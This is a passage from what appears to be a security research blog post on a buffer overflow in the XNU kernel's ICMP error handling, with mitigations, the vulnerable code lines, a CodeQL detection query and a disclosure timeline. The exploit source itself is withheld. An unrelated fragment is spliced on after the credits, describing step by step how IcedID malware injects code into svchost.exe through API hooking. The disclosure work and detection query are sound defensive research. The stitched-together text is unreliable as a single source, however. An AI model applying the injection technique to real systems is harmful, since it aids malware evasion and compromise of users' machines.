  1. Enabling stealth mode in the macOS firewall prevents the attack from working. Kudos to my colleague Henti Smith for discovering this, because this is an obscure system setting which is not enabled by default. As far as I’m aware, stealth mode does not exist on iOS devices.
  2. Do not use public WiFi networks. The attacker needs to be on the same network as the target device. It is not usually possible to send the malicious packet across the internet. For example, I wrote a fake web server which sends back a malicious reply when the target device tries to load a webpage. In my experiments, the malicious packet never arrived, except when the web server was on the same network as the target device.

Proof-of-concept exploit

I have written a proof-of-concept exploit which triggers the vulnerability. To give Apple’s users time to upgrade, I will not publish the source code for the exploit PoC immediately. However, I have made a short video which shows the PoC in action, crashing all the Apple devices on the local network.

The vulnerability

The bug is a buffer overflow in this line of code (bsd/netinet/ip_icmp.c:339):

m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

This code is in the function icmp_error. According to the comment, the purpose of this function is to «Generate an error packet of type error in response to bad packet ip». It uses the ICMP protocol to send out the error message. The header of the packet that caused the error is included in the ICMP message, so the purpose of the call to m_copydata on line 339 is to copy the header of the bad packet into the ICMP message. The problem is that the header might be too big for the destination buffer. The destination buffer is an mbufmbuf is a datatype which is used to store both incoming and outgoing network packets. In this code, n is an incoming packet (containing untrusted data) and m is an outgoing ICMP packet. As we will see shortly, icp is a pointer into mm is allocated on line 294 or line 296:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

Slightly further down, on line 314mtod is used to get m‘s data pointer:

icp = mtod(m, struct icmp *);

mtod is just macro, so this line of code does not check that the mbuf is large enough to hold an icmp struct. Furthermore, the data is not copied to icp, but to &icp->icmp_ip, which is at an offset of +8 bytes from icp.

I do not have the necessary tools to be able to step through the XNU kernel in a debugger, so I am actually a little unsure about the exact allocation size of the mbuf. Based on what I see in the source code, I think that m_gethdr creates an mbuf that can hold 88 bytes, but I am less sure about m_getcl. Based on practical experiments, I have found that a buffer overflow is triggered when icmplen >= 84.

At this time, I will not say any more about how the exploit works. I want to give Apple users a chance to upgrade their devices first. However, in the relatively near future I will publish the source code for the exploit PoC in our SecurityExploits repository.

Finding the vulnerability with QL

I found this vulnerability by doing variant analysis on the bug that caused the buffer overflow vulnerability in the packet-mangler. That vulnerability was caused by a call to mbuf_copydata with a user-controlled size argument. So I wrote a simple query to look for similar bugs:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

This is a simple taint-tracking query which looks for dataflow from m_mtod to the size of argument of a «copydata» function. The function named m_mtod returns the data pointer of an mbuf, so it is quite likely that it will return untrusted data. It is what the mtod macro expands to. Obviously m_mtod is just one of many sources of untrusted data in the XNU kernel, but I have not included any other sources to keep the query as simple as possible. This query returns 9 results, the first of which is the vulnerability in icmp_error. I believe the other 8 results are false positives, but the code is sufficiently complicated that I do consider them to be bad query results.

Try QL on XNU

Unlike most other open source projects, XNU is not available to query on LGTM. This is because LGTM uses Linux workers to build projects, but XNU can only be built on a Mac. Even on a Mac, XNU is highly non-trivial to build. I would not have been able to do it if I had not found this incredibly useful blog post by Jeremy Andrus. Using Jeremy Andrus’s instructions and scripts, I have manually built snapshots for the three most recent published versions of XNU. You can download the snapshots from these links: 10.13.410.13.510.13.6. Unfortunately, Apple have not yet released the source code for 10.14 (Mojave / iOS 12), so I cannot create a QL snapshot for running queries against it yet. To run queries on these QL snapshots, you will need to download QL for Eclipse. Instructions on how to use QL for Eclipse can be found here.

Timeline

  • 2018-08-09: Privately disclosed to product-security@apple.com. Proof-of-concept exploit included.
  • 2018-08-09: Report acknowledged by product-security@apple.com.
  • 2018-08-20: product-security@apple.com asked me to send them the exact macOS version number and a panic log.
  • 2018-08-20: Returned the requested information to product-security@apple.com. Also sent them a slightly improved version of the exploit PoC.
  • 2018-08-22: product-security@apple.com confirmed that the issue is fixed in the betas of macOS Mojave and iOS 12. However, they also said that they are «investigating addressing this issue on additional platforms» and that they will not disclose the issue until November 2018.
  • 2018-09-17: iOS 12 released by Apple. The vulnerability was fixed.
  • 2018-09-24: macOS Mojave released by Apple. The vulnerability was fixed.
  • 2018-10-30: Vulnerabilities disclosed.

"Send it back"

Credits

  • «I am Error». Screenshot from Zelda II: The Adventure of Link. The screenshot copyright is believed to belong to Nintendo. Image downloaded from wikipedia.
  • «Send it back». By Edward Backhouse.

Interesting technique to inject malicious code into svchost.exe

Once launched, IcedID takes advantage of an interesting technique to inject malicious code into svchost.exe — it does not require starting the target process in a suspended state, and is achieved by only using the following functions:

  • kernel32!CreateProcessA
  • ntdll!ZwAllocateVirtualMemory
  • ntdll!ZwProtectVirtualMemory
  • ntdll!ZwWriteVirtualMemory

IcedID’s code injection into svchost.exe works as follows:

  1. In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  2. The function kernel32!CreateProcessA is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  3. The hook onntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  1. At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  1. The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  2. In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  3. The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  4. The malicious process ends.

Since svchost.exe has been called with no arguments, it would normally immediately shut down because there is no service to launch. However, as part of its shutdown, it will call ntdll!RtlExitUserProcess, which hits the malicious hook, and the malicious code will take over at this point.